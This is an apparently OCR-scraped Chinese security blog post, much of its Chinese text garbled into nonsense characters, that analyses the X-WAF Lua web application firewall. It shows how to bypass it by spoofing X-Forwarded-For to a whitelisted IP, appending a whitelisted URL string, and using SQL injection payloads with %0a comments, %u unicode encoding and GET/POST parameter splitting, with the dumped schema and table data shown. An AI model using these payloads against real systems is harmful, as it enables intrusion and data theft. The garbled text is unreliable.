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X-WAFR—RERS. NMEWRIRWAFRSE , ik, INEABETLEAFRETSEiRE B ChIRZERWAF,
ANXMRRBEH R , —SHERWAFRI TIERIR , 288 {TWAF Bypass,

0x01 IRiFFEE

B : https://waf.xsec.io

githubjER3 : https://github.com/xsec-lab/x-waf
X-WAFTR#iZiklE , IREREAELEEIERISQLEAR
###0x02 R3O 1T

BRE—TEANBEREN

nginx_conf BRASEERE ( ATHER ) |, rulesERERHITIEAN

init.lua JNEFERN , access.lua F2FEEN , configlua BRE 4
FEBIELIM L EREUtil.luafiwaf.luasZft,

= : B EES =l Frh
nginx_conf 2017/11/23 18:03 =%
rules 2017/11/23 18:.03 Z0fE
=| .gitignare 2017/11/23 18:03 &0 1 KB
D access.ua 2017/11/2318:03 LUA =& 2 KB
| | config.lua 2017/11/23 18:03  LUA =0 3 KB
D init.lua 2017/11/23 18:.03 LUA 3Ti& 2 KB
E README.md 2017/11/23 18:03 MD 2% 3 KB
[ utillua 2017/11/23 18:03  LUA Szi 6 KB
D waf.lua 2017/11/23 18:.03 LUA 3Ti& 10 KB

RISZIEREE |, B —TNRE , BRAOEwaf.lua 58262-27417% -

-- waf start function _M.check() if _M.white_ip_check() then elseif _M.black_ip_check() then
elseif _M.user_agent_attack_check() then elseif _M.white_url_check() then elseif
_M.url_attack_check() then elseif _M.cc_attack_check() then elseif _M.cookie_attack_check()
then elseif _M.url_args_attack_check() then elseif _M.post_attack_check() then else return

end

N 1MZEEFRNETD | —BRERENREMABHTEEAS,

HZ8

BFHRTIPERE |, B{1RE—TFwhite_ip_check()ER%] , B34 TRISE50-641T :
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-- white ip check function _M.white_ip_check() if config.config_white_ip_check == "on" then
local IP_WHITE_RULE = _M.get_rule('whiteip.rule') Tocal WHITE_IP = util.get_client_ip() if
IP_WHITE_RULE ~= nil then for _, rule in pairs(IP_WHITE_RULE) do if rule ~= "" and
rulematch(WHITE_IP, rule, "jo") then util.log_record(config.config_log_dir, 'white_IP',

ngx.var_request_uri, "_", "_") return true end end end end end

IANEEIPEHBBEFEIRE | SEIPAZ BN SIRENNE i PHTLLRT |, BAIBRIEHE—Tget_client_ip(=R
£, FEutillua3 e |, 5583-9617 :

-- Get the client IP function _M.get_client_ip() local CLIENT_IP = ngx.req.get_headers()
["X_real_ip"] if CLIENT_IP == nil then CLIENT_IP = ngx.req.get_headers()["X_Forwarded_For"]
end if CLIENT_IP == nil then CLIENT_IP = ngx.var.remote_addr end if CLIENT_IP == nil then
CLIENT_IP = "" end return CLIENT_IP end

TEIXERENZS i PRRED R |, SKENAYX real_ip. X_Forwarded_ForE2FBF ISR , 1FER iR PHENFET(RiEAX|
. &REERE—T , rulesBRAwhiteip.rulefIENAEE :

[{"1d":74,"RuleType":"whiteip","RuleItem":"8.8.8.8"}]

IPEZEFNZIAIP : 8.8.8.8 JHBE

EEA T LB #IEHTTPiEKHeadersSEHMIEI PR 8.8.8.8 , NI x-waffIRTEZ 2R,
Bypass jllizt

TR RE

& Lload URL | http://192.168.8.147 /test/sql.php?id=1 union select 1,schema_name,3 from information_schema.schemata
I split URL

»)  Execute

[] Enable Post data [ ] Enable Referrer

ZRIIP A 192.168.8.1
T ETHIEFEEENRNER P TE2ME,
BEFEGTL: http://xsec.io

&R PiRIPEET

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
GET A HITP/1.1 200 OK
Jtest/sql. php?id=1%20union%20select%201, schena_nane, 3%20fron%2 o Server: openresty/1.9.15.1

Oinformation_schena. schemata HTTR/1. 1]
Host: 192.168.8.147
User-Agent: Mozilla/5.0 (Windews NT 10.0; WOWG4; rv?

Date: Fri, 25 Aug 2017 21:48:11 GMT
Content-Type: text/html
Content-Length: 190

Commection: keep-alive
X-Powered-By: PHP/5.2.17
X-Powered-By: ASP.MNET

Geclko/20100101 Firefox/48.0
Accept:

text/htnl, application/zhtml+xnl, application/=nl; q=0. 9, ¥/%; g=0.
8

Real-IF 0.8.0.8 1 [adminfbr />1 finformation_schemdor /51 br /31 br /21 [testfbr /><br/>SELECT *
Lecept-Language: zh—CN, zh;q=0.8, en-U05;g=0. 5, en; g=0. 3 FROM admin WHERE 1d = umnion select 1, schema_name, rom infermation_schema. schemata

sccept-Encoding: gzip, deflate
Comnection: keep-alive

Upgrade-Insecure-Requests: 1 FEFITRERES

BIMEERYR | fEblackip.ruleEEm |, 1£8.8.8 SWEMERBRER , BXFHREHAR , IPARRCKEHHSKMAF
T, AoBEEHTIPERRRIEN, CCUERIEBEERNEFmIRENIP , tBRTLAhEE Pkl PR Z5eid BRE.

[{"1d":2,"RuleType":"blackip","RuleItem":"8.8.8.8"},
{"1d":3,"RuleType":"blackip","RuleItem":"1.1.1.1"}]

FEEEE —TurlA8gEwhite_url_check()ERZEK :



function _M.white_url_check() if config.config_white_urli_check == "on" then Tocal
URL_WHITE_RULES = _M.get_rule('writeurl.rule') Tocal REQ_URI = ngx.var.request_uri if

URL_WHITE_RULES ~= nil then for _, rule in pairs(URL_WHITE_RULES) do if rule ~= and

rulematch(REQ_URI, rule, "joi") then return true end end end end end
INT —FURLBREINEE , By , ST —TFrules3fd , alLARIINEAYruleXXH-EA—EL,

XEMNIZE/EER—NEIR |, writeurl.rulefdwhiteUrl.rule,

£ i HER =H Foh

D args.rule 2017/11/23 18:03  RULE 304¢ 2 KB
D blackip.rule 2017/11/23 18:03 RULE 304 1 KB
|| cookierule 2017/11/23 18:03 RULE =& 2 KB
D postrule 2017/11/23 18:03  RULE 304¢ 2 KB
D url.rule 2017/11/23 18:03 RULE 374% 1 KB
| | useragent.rule 2017/11/23 18:03 RULE =% 1 KE
D whiteip.rule 2017/11/23 18:03  RULE 304¢ 1KB
D whitelUrl.rule 2017/11/23 18:03 RULE 304t 1 KB

EAUrIBE8RE :

[{"1d":73,"RuleType":"whiteur1","RuleItem":"/news/"}]

B4, XBERNngx.re.findi#frngx.var.request_urifruleltEe , REBurlFZEE/news/ , FIAHTIEN , StidRe
BAEIFRIM, Eban : /test/sql,php/news/?id=1, /test/sql,php?id=1&b=/news/ EHAI5ET.

IEMPCfg

TSk, B1EERE—TM.url_args_attack_check(). M.post_attack_check() :
“--deny url args

function _M.url_args_attack_check() if config.config_url_args_check == "on" then local ARGS_RULES =
_M.get_rule(‘'args.rule') for _, rule in pairs(ARGS_RULES) do local REQ_ARGS = ngx.req.get_uri_args() for key, val
in pairs(REQ_ARGS) do local ARGS_DATA = {} if type(val) == 'table' then ARGS_DATA = table.concat(val, " ") else
ARGS_DATA = val end if ARGS_DATA and type(ARGS_DATA) ~= "boolean" and rule ~="" and
rulematch(unescape(ARGS_DATA), rule, "joi") then util.log_record(config.config_log_dir, 'Get_Attack’,
ngx.var.request_uri, "-", rule) if config.config_waf_enable == "on" then util.waf_output() return true end end
end end end return false end”

“-- deny post

function _M.post_attack_check() if config.config_post_check == "on" then ngx.reqg.read_body() local
POST_RULES = _M.get_rule('post.rule’) for _, rule in pairs(POST_RULES) do local POST_ARGS =
ngx.req.get_post_args() or {} for k, v in pairs(POST_ARGS) do local post_data ="" if type(v) == "table" then
post_data = table.concat(v, ", ") elseif type(v) == "boolean" then post_data = k else post_data = v end if rule ~=
""and rulematch(post_data, rule, "joi") then util.log_record(config.config_log_dir, 'Post_Attack', post_data, "-",
rule) if config.config_waf_enable == "on" then util.waf_output() return true end end end end end return false

end’
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FRERREE—ERRE 2RV , fEAngx.req.get_uri_args., ngx.req.get_post_args IRENEHERIR , BI&E KR uri

BERSEL, MEERE post iIBKAE , FARMEUEHTIRIANIE | ZA/REEMrulematch(data, rule, "joi")Ei{TIL
Ec.

rulefREEARKBESQLIE NBHEIRRNILNT
“select.+(from | limit)

(?:(union(.*?)select))
(2:from\W+information_schema\Ww)"

RIEH— : %oa

T ERRYZjoiskiEih , FliTATLAR%0aski#t T4,

/sql.php?id=1 union%0aselect 1,schema_name,3%0afrom /!12345information_schema.schemata/

& Load URL
4 split URL

»)  Execute

http://192.168.8.147 ftest/sql.php?id=1 union%0aselect 1,schema_name,3%0afrom /*!12345information_schema.schemata®/

[1 Enable Post data [ ] Enable Referrer

1 admin

1 information_schema
1 mysq|

1 performance_schema
1 test

SELECT * FROM admin WHERE id = 1 union select 1,schema_name,3 from /*!12345information_schema.schemata*/
RTEBT : wulFtE
FEFABIISIRSS 28 FFunicodeRIEHT

/sql.aspx?id=1 union selec%u0054 null,table_name,null fro%u004d information_schema.tables

4 Load URL |http://192.168.8.147 /testfsql.aspx?id=1 union selec%u0054 null table_name,null fro%u004d information_schema.tables
% split URL
b Execute
[ Enable Post data [ Enable Referrer
$iE:

select * from admin where id=1 union selecT null,table_name,null froM information_schema.tables
SR

id | username password

admin

dirs

sqlmapoutput

sysconstraints

syssegments

1 |aaa 123asd

RiTZEH= : HPP+GPC
{EFRGPC=FATN AT LA TS EUEIE R FHapsxisit | FERENEISAUHIEICR , AAkIhBypass
/sql.aspx?id=1 union/*

POST:Id=2*/select null,system_user,null



g Load URL | http://192.168.8.147 ftest/sql.aspx?id=1 union/*
I split URL

3 Execute

Enable Post data [ | Enable Referrer

Post data Id=2%/select null,Eystem_user null

PiTES:
select * from admjsf where id=1 union/*,2*/select null,system_user,null

RN

id | usernaylie | password

1 |aaa 123asd
0x03 S24%
XE—FUES ARHITWAF BypassGHFHN=WAF , BIIIBEEREWAFIN TIERIE , #—CIREIN AEMIRS

sefStE. BRI T=INBypass.
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